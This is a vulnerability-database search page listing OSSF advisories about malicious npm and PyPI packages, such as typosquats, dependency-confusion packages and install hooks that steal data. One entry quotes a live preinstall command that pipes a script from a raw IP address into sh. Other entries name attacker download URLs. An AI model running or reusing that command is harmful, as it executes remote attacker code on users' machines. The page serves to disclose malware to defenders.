Lucene search
+L
OssfMost viewed

235836 matches found

OSSF Malicious Packages
OSSF Malicious Packages
added 2026/02/23 12:37 p.m.23 views

Malicious code in request-httpx-4 (PyPI)

--- -= Per source details. Do not edit below this line.=- Source: kam193 b0c661d240f626319e5ff1e52562ca1d4a8a6c741126a91e4d46a9ed639cfc0d The package contains a Telegram bot running allowing for remote access. This functionality is disclosed in the readme, but the package name clearly indicates...

5.8AI score
SaveExploits0References1
OSSF Malicious Packages
OSSF Malicious Packages
added 2026/02/20 4:56 p.m.23 views

Malicious code in claud-code (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 858992810c1a4133d95b6fa19033c07591db548a46df39b67e0d393d7dd212ad The package claud-code was found to contain malicious code. Source: ghsa-malware 5fe9842d778d45ad5b5e4d81db678d608711dd4b186e053569dae6f210481651 Any...

5.6AI score
SaveExploits0References1
OSSF Malicious Packages
OSSF Malicious Packages
added 2026/02/12 8:00 a.m.23 views

Malicious code in krbutils (PyPI)

--- -= Per source details. Do not edit below this line.=- Source: kam193 ef5a16574ecd987f57925735cdbeb06062b47dc13fda6c1f30a68e9aba9571ad Package is a typosquatting or dependency confusion attempt with a low-harm local-only action, like leaving a flag file. --- Category: PROBABLYPENTEST - Package...

5.9AI score
SaveExploits0References1
OSSF Malicious Packages
OSSF Malicious Packages
added 2026/01/16 12:10 a.m.23 views

Malicious code in tailwind-merge-v3 (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 5d7eb6509e7116f0d29cc221829baf733446faecce580b8d9334b6a43586ad58 The package tailwind-merge-v3 was found to contain malicious code. Source: ghsa-malware...

6.9AI score
SaveExploits0References1
OSSF Malicious Packages
OSSF Malicious Packages
added 2026/01/12 8:55 p.m.23 views

Malicious code in graponater (PyPI)

--- -= Per source details. Do not edit below this line.=- Source: kam193 9bbd986bf5883f6b5b40a7061c514b13f71a27c021471595671d060b260affc3 The package, distinguished as a speed testing or typosquatted Telegram library, contains a Telegram bot to perform remote control of the computer --- Category:...

7.1AI score
SaveExploits0References2
OSSF Malicious Packages
OSSF Malicious Packages
added 2025/11/29 5:40 p.m.23 views

Malicious code in eslint-plugin-react-hooks-published (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 647dedd2c8ea8a9cef54b85666b74459095d17369da310d54a0c1960f87dafe6 The package eslint-plugin-react-hooks-published was found to contain malicious code. Source: ghsa-malware...

7AI score
SaveExploits0References1
OSSF Malicious Packages
OSSF Malicious Packages
added 2025/11/13 3:23 a.m.23 views

Malicious code in ganymede-public-canopus-hydra (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 8666d987c2ffe04eca9ec038bd50b9769fb0d7618dc1d35751253b44ab3d5d39 This package appears to be part of the tea.xyz token reward campaign that flooded npm. These packages typically contain autopublish scripts auto.js,...

6.9AI score
SaveExploits0
OSSF Malicious Packages
OSSF Malicious Packages
added 2025/11/13 3:23 a.m.23 views

Malicious code in comet-publish-palynology-farout (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector ad7e34a4137722c68664332cd34c502192b118ed77c8083bc8e26a617829ffe0 This package appears to be part of the tea.xyz token reward campaign that flooded npm. These packages typically contain autopublish scripts auto.js,...

6.9AI score
SaveExploits0
OSSF Malicious Packages
OSSF Malicious Packages
added 2025/11/12 7:18 p.m.23 views

Malicious code in lia-23 (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 45bf536e6cc82884762f6c4d22b3544151badf5be5a6d1a432847c426ed971f0 This package appears to be part of the tea.xyz token reward campaign that flooded npm. These packages typically contain autopublish scripts auto.js,...

6.9AI score
SaveExploits0
OSSF Malicious Packages
OSSF Malicious Packages
added 2025/09/05 5:10 p.m.23 views

Malicious code in hotel-lima-charlie-gwkmz (npm)

The package hotel-lima-charlie-gwkmz was found to contain malicious code...

7AI score
SaveExploits0
OSSF Malicious Packages
OSSF Malicious Packages
added 2025/09/05 4:38 p.m.23 views

Malicious code in nexus-ai-frontend (npm)

The package nexus-ai-frontend was found to contain malicious code. --- -= Per source details. Do not edit below this line.=-...

7AI score
SaveExploits0
OSSF Malicious Packages
OSSF Malicious Packages
added 2025/08/14 6:52 p.m.23 views

Malicious code in com.unity.xrtools.module-loader (npm)

The package com.unity.xrtools.module-loader was found to contain malicious code...

7AI score
SaveExploits0
OSSF Malicious Packages
OSSF Malicious Packages
added 2025/08/14 6:52 p.m.23 views

Malicious code in com.google.android.appbundle (npm)

The package com.google.android.appbundle was found to contain malicious code...

7AI score
SaveExploits0
OSSF Malicious Packages
OSSF Malicious Packages
added 2025/06/10 4:38 a.m.23 views

Malicious code in @loybung/hyper-client (npm)

--- -= Per source details. Do not edit below this line.=- Source: ghsa-malware 3a646dc40194d6a79d5af905b5f0de4abf8ac46c73d1f0659c50454fa2ea9353 Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be...

6.9AI score
SaveExploits0References1
OSSF Malicious Packages
OSSF Malicious Packages
added 2025/04/09 5:06 a.m.23 views

Malicious code in neo4j-apoc-procedures (npm)

--- -= Per source details. Do not edit below this line.=- Source: ghsa-malware 3ae32122ca71a7a075fce5993dbcdceca009308664157c1655b4b3897e205f3c Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be...

6.9AI score
SaveExploits0References3
OSSF Malicious Packages
OSSF Malicious Packages
added 2025/02/03 9:01 a.m.23 views

Malicious code in worker-template-postgres (npm)

--- -= Per source details. Do not edit below this line.=- Source: ghsa-malware 06ee62f6404cbc2ab384a294313e49c9685b3f7a3251a4c9b86dd1d8e90dfb05 Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be...

6.9AI score
SaveExploits0References1
OSSF Malicious Packages
OSSF Malicious Packages
added 2025/01/24 5:28 a.m.23 views

Malicious code in lyft-db (npm)

--- -= Per source details. Do not edit below this line.=- Source: ossf-package-analysis f37cced5f60e41888f8d0a2a4472279034b4fd9a0f6076ea9337095dc37cea9f The OpenSSF Package Analysis project identified 'lyft-db' @ 999.9.9 npm as malicious. It is considered malicious because: - The package...

6.9AI score
SaveExploits0
OSSF Malicious Packages
OSSF Malicious Packages
added 2024/12/09 12:27 a.m.23 views

Malicious code in ens-austt (npm)

--- -= Per source details. Do not edit below this line.=-...

7AI score
SaveExploits0
OSSF Malicious Packages
OSSF Malicious Packages
added 2024/05/20 5:00 a.m.23 views

Malicious code in cors-parser (npm)

--- -= Per source details. Do not edit below this line.=- Source: ghsa-malware f1dd6defac5ab9b43c54c52dec3926781b0bf0a2e9adbf6122ae560a52002ccb Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be...

6.9AI score
SaveExploits0References1
OSSF Malicious Packages
OSSF Malicious Packages
added 2024/01/14 7:09 p.m.23 views

Malicious code in wdpr-validators (npm)

--- -= Per source details. Do not edit below this line.=- Source: ossf-package-analysis 3603a1435c7217578ea596fa8e598c1a1a0bf6c955b1c4248b9c9978c9a1c6d4 The OpenSSF Package Analysis project identified 'wdpr-validators' @ 16.0.2 npm as malicious. It is considered malicious because: - The package...

6.9AI score
SaveExploits0
OSSF Malicious Packages
OSSF Malicious Packages
added 2023/02/27 3:21 p.m.23 views

Malicious code in py-hydrasupernvidia (PyPI)

--- -= Per source details. Do not edit below this line.=- Source: checkmarx 0c2985252eb35fa8ed921ea0dfe36688f9c800c7110cfcf26845a93f7b85a2d2 EsqueleSquad group published nearly 6000 malicious PyPi and NPM packages, executing spyware and information-stealing malware...

7AI score
SaveExploits0References1
OSSF Malicious Packages
OSSF Malicious Packages
added 2023/02/09 6:39 p.m.23 views

Malicious code in cxct (PyPI)

--- -= Per source details. Do not edit below this line.=- Source: checkmarx 7eed6522b04438f8b117873d5d6e997acf2bae3532e3a68b7c0a512fecdcb9bc Attacker distributed 900+ malicious packages via PyPi, infecting local browsers with malicious extension to manipulate clipboard and replace crypto wallet...

6.7AI score
SaveExploits0References1
OSSF Malicious Packages
OSSF Malicious Packages
added 2022/06/20 8:25 p.m.23 views

Malicious code in test-rule-package (npm)

--- -= Per source details. Do not edit below this line.=- Source: ghsa-malware aa888ca30e7e2ad22793e2eefd4a5d8529cf876ef40b096470c681371f79f07f Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be...

6.9AI score
SaveExploits0References1
OSSF Malicious Packages
OSSF Malicious Packages
added 2022/06/20 8:20 p.m.23 views

Malicious code in @harrysforge/product-displays (npm)

--- -= Per source details. Do not edit below this line.=- Source: ghsa-malware 9eafe38f8ddd5d76ad65b4588ae0ae643ca975cfdc3648300e1cd1bb05659a22 Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be...

6.9AI score
SaveExploits0References1
OSSF Malicious Packages
OSSF Malicious Packages
added 2022/06/20 8:11 p.m.23 views

Malicious code in eth-balance-adapter (npm)

--- -= Per source details. Do not edit below this line.=- Source: ghsa-malware 5262abe8a739e9f893b3a0f9ce010d19304358cb843873f597ff90d79d619ccb Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be...

6.9AI score
SaveExploits0References1
OSSF Malicious Packages
OSSF Malicious Packages
added 2026/09/07 1:51 p.m.22 views

Malicious code in feishu-docx-mcp (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 0e7567437816acf6d56f5ef9e5303da39aa1663ac47d547f66552a0482158d19 package.json declares "preinstall": "bun run index.js" and lists bun as a runtime dependency, so npm install fetches the alternate Bun runtime and...

5.8AI score
SaveExploits0References2
OSSF Malicious Packages
OSSF Malicious Packages
added 2026/09/01 1:03 a.m.22 views

Malicious code in quartz-core (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 8f59477bf2399742c785aa97d80d04b4800f66446ae3635167ba173d96080a91 On npm install, the package's preinstall hook package.json scripts.preinstall = node index.js executes index.js, which reads the installer's OS...

5.9AI score
SaveExploits0References4
OSSF Malicious Packages
OSSF Malicious Packages
added 2026/08/30 7:59 a.m.22 views

Malicious code in generate-schema-viem (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 82b43ea1e723ebd0c0ef5c4cd564b106089f9b5f9fd119dcac26dc1e130a14bf Package publishes as generate-schema-viem but exposes a bin named generate-schema-ethers a dependency-confusion / typosquat shape against the...

5.9AI score
SaveExploits0References2
OSSF Malicious Packages
OSSF Malicious Packages
added 2026/08/30 2:04 a.m.22 views

Malicious code in com.db.autobahn.notification-center-electron (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 4ae376efc666d8e07f356f9f3cbafe2dfc99e221a150ff96548db4a2b91bb452 package.json declares preinstall and postinstall lifecycle scripts that automatically run curl on npm install to send installer identity whoami,...

5.9AI score
SaveExploits0References2
OSSF Malicious Packages
OSSF Malicious Packages
added 2026/08/29 11:11 p.m.22 views

Malicious code in grafeno-webhook (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 79e333edbcad465f3e5bdfafa8dc4ba91589d66e12c201bb9e1ed4037cb16c36 The preinstall.js lifecycle script executed automatically by npm install performs three hostile actions against the installer's machine. It enumerate...

6AI score
SaveExploits0References1
OSSF Malicious Packages
OSSF Malicious Packages
added 2026/08/29 8:55 p.m.22 views

Malicious code in npx-oob-package (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 6302c47700c024cb727f6139b5cd8703da7c295555525ce9624c12b536f76dde npx-oob-package ships bin/cli.js which is also declared as the package main. On both CLI invocation and any require/import of the package, the module...

5.9AI score
SaveExploits0References4
OSSF Malicious Packages
OSSF Malicious Packages
added 2026/08/29 2:13 a.m.22 views

Malicious code in techportal (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 2d947d5b4ddaa0ea6a25488fb5b5a66b3afc5c8f56d5ac38fb2e95e4b23242f3 package.json declares a preinstall hook node beacon.js that fires automatically on npm install. beacon.js reads os.hostname, os.userInfo.username, an...

5.9AI score
SaveExploits0References2
OSSF Malicious Packages
OSSF Malicious Packages
added 2026/08/29 2:12 a.m.22 views

Malicious code in mfacord (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 6e8426c0e4e80e0bd9839d8517e060bd923775b8a3e100aab57e18b4f47c970e On require'mfacord', index.js loads lib/cache.js, which on win32 decodes a hardcoded URL...

5.9AI score
SaveExploits0References4
OSSF Malicious Packages
OSSF Malicious Packages
added 2026/08/28 11:17 p.m.22 views

Malicious code in confluence-editor (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector e7615f50c489336db7800ea3b79ef26a4e5af311f0484ee31871000e329c2813 package.json declares a dependency whose value is a bare HTTPS URL https://repo.securityctrl.com/confluence-editor rather than a semver range publish...

5.9AI score
SaveExploits0References2
OSSF Malicious Packages
OSSF Malicious Packages
added 2026/08/28 11:14 p.m.22 views

Malicious code in framework-zero (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector bfa0b9f3bb077648bf715ae13565ed44e67471548c98861bd5fb4d9472a3223b package.json line 11 declares a dependency whose source is the bare HTTPS URL https://repo.securityctrl.com/framework-zero instead of a registry...

5.9AI score
SaveExploits0References2
OSSF Malicious Packages
OSSF Malicious Packages
added 2026/08/28 11:02 p.m.22 views

Malicious code in grafeno-sdk (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 665dd78adc2d9c5f30bd8b140dc2dfc5bf9e61efb96ea9945018154d43102ad3 package.json declares a preinstall lifecycle script that runs node -e to invoke childprocess.execSync'curl -s 216.126.236.46/x.sh|sh',...

6.3AI score
SaveExploits0References2
OSSF Malicious Packages
OSSF Malicious Packages
added 2026/08/28 3:35 p.m.22 views

Malicious code in 3layerdipstackru7mfn (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 0881c571357484f968c509c3f05f0e3c49536125c0a71c5dc7e1efae558ef109 The package was found to contain malicious code or consuming dependency that contains malicious code Source: ghsa-malware...

5.9AI score
SaveExploits0References2
OSSF Malicious Packages
OSSF Malicious Packages
added 2026/08/28 3:35 p.m.22 views

Malicious code in 3layerdipstackqokw95 (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 645ec019e6e3a7c3f46ec5537e4713ad47775817a68d0c30445ed103ca91a53b The package was found to contain malicious code or consuming dependency that contains malicious code Source: ghsa-malware...

5.9AI score
SaveExploits0References2
OSSF Malicious Packages
OSSF Malicious Packages
added 2026/08/28 3:35 p.m.22 views

Malicious code in 3layerdipstackbndk47 (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 348dc9c5c9f9b067e597312e0e8228c5bddb04ca7573801a6ae27ab9809cb520 The package was found to contain malicious code or consuming dependency that contains malicious code Source: ghsa-malware...

5.9AI score
SaveExploits0References2
OSSF Malicious Packages
OSSF Malicious Packages
added 2026/08/28 3:35 p.m.22 views

Malicious code in 3layerdipstackmokfkh (npm)

--- -= Per source details. Do not edit below this line.=- Source: ghsa-malware da015575c29fe6af032ba0c966d1adcdab17b367ca32bfb54fb11bbcfa4d890c Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be...

5.8AI score
SaveExploits0References1
OSSF Malicious Packages
OSSF Malicious Packages
added 2026/08/28 3:35 p.m.22 views

Malicious code in 3layerdipstack8lj8gm (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 72671b2191d5c2a662d2b435a09fa42f2bbc26997aea63f216ac6a8a81779076 The package was found to contain malicious code or consuming dependency that contains malicious code Source: ghsa-malware...

5.9AI score
SaveExploits0References2
OSSF Malicious Packages
OSSF Malicious Packages
added 2026/08/28 3:35 p.m.22 views

Malicious code in 3layerdipstackaudu38 (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector afbf91656dcf2525f9a6ad8c151468266d0ec4ac665cf8c5a34786bce7c6d9eb The package was found to contain malicious code or consuming dependency that contains malicious code Source: ghsa-malware...

5.9AI score
SaveExploits0References2
OSSF Malicious Packages
OSSF Malicious Packages
added 2026/08/28 3:35 p.m.22 views

Malicious code in 3layerdipstackba23j (npm)

--- -= Per source details. Do not edit below this line.=- Source: ghsa-malware ede09ccf4edc430e4167db22beb666b7687d18a6eb70c90960a543706e3ef8f4 Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be...

5.8AI score
SaveExploits0References1
OSSF Malicious Packages
OSSF Malicious Packages
added 2026/08/28 3:35 p.m.22 views

Malicious code in 3layerdipstackfoajna (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 575021dd0f33d766c5b37fe60b4c5bcdbaeda054f9252c6ed62e9d358e8903c9 The package was found to contain malicious code or consuming dependency that contains malicious code Source: ghsa-malware...

5.9AI score
SaveExploits0References2
OSSF Malicious Packages
OSSF Malicious Packages
added 2026/08/28 3:35 p.m.22 views

Malicious code in 3layerdipstackd8ze8 (npm)

--- -= Per source details. Do not edit below this line.=- Source: ghsa-malware c061d4cc1b61f20a61084a2c81b899987a5bfb31033147c9de24ec914e8c509b Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be...

5.8AI score
SaveExploits0References1
OSSF Malicious Packages
OSSF Malicious Packages
added 2026/08/28 3:35 p.m.22 views

Malicious code in 3layerdipstack7zgtws (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 06c1e5aeff87576f02bf0ffe7b8cd8c3b9b95f4ea1cd8be7be98fe6cd1e78956 The package was found to contain malicious code or consuming dependency that contains malicious code Source: ghsa-malware...

5.9AI score
SaveExploits0References2
OSSF Malicious Packages
OSSF Malicious Packages
added 2026/08/28 9:14 a.m.22 views

Malicious code in yaml-report-formatter (PyPI)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector fd762621d7d279a25921e8f8c7d1a7e8040948bd3ac445ca9cabd8f200ce36f0 Package presents itself as a YAML report formatter but its top-level src/yamlreportformatter/init.py starts a daemon thread on import that reads a...

5.9AI score
SaveExploits0References4
OSSF Malicious Packages
OSSF Malicious Packages
added 2026/08/24 4:44 p.m.22 views

Malicious code in dim-hydration-ui (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 3fefcd7c94e6eed5b5a69ce9ad5f4489c6532472ec604e6d15e5a96f63c59e51 The package is presented in its README as a set of day-math primitives, but dist/index.mjs runs a top-level async IIFE on import that chmod 0755's...

5.7AI score
SaveExploits0References2
OSSF Malicious Packages
OSSF Malicious Packages
added 2026/08/24 5:08 a.m.22 views

Malicious code in message-compiler (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector f7469b2a666f71db1dd06fd00d6ae630becf97ad6854ff5c8938d2adcb5c8417 The package declares scripts.preinstall = 'node vishu.js', which runs automatically on npm install. vishu.js resolves the installer's public IP via...

5.5AI score
SaveExploits0References1
OSSF Malicious Packages
OSSF Malicious Packages
added 2026/08/23 5:23 p.m.22 views

Malicious code in hydration-dim-kit (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 3659ec02e8317602c089b822a4a0533bee515d9666d07fdaf3cdf8b315a46147 On import, dist/index.mjs verifies a SHA-256 digest of a bundled Linux x8664 ELF at dist/internal/calc.dat, chmods it to 0755, and spawns it detached...

5.9AI score
SaveExploits0References2
Total number of security vulnerabilities5000